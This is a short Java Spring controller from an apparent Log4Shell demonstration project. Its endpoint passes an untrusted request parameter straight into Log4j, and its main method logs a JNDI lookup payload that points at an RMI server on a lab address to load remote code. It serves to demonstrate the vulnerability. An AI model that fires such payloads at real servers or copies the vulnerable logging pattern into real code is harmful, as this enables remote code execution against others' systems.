package com.example.log4jdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

/**
 * @author: 公众号:干货食堂
 * Project Name: log4j-demo
 * File Name: TestController
 * Package Name: com.example.log4jdemo
 * Date: 2021/12/12 20:39
 * Copyright (c) 2021,All Rights Reserved.
 * @Description
 */
@RequestMapping("test")
@RestController
public class TestController {


    private static final Logger logger = LogManager.getLogger(TestController.class);

    @RequestMapping(value = "search")
    public Object test(@RequestParam String str) {
       logger.error("入参：{}",str);
       return "OK";
    }

    public static void main(String[] args) {
        String str = "${jndi:rmi://192.168.137.1:1099/hack}";//${jndi:rmi://192.168.137.1:1099/hack}
        logger.error("入参：{}",str);
    }
}
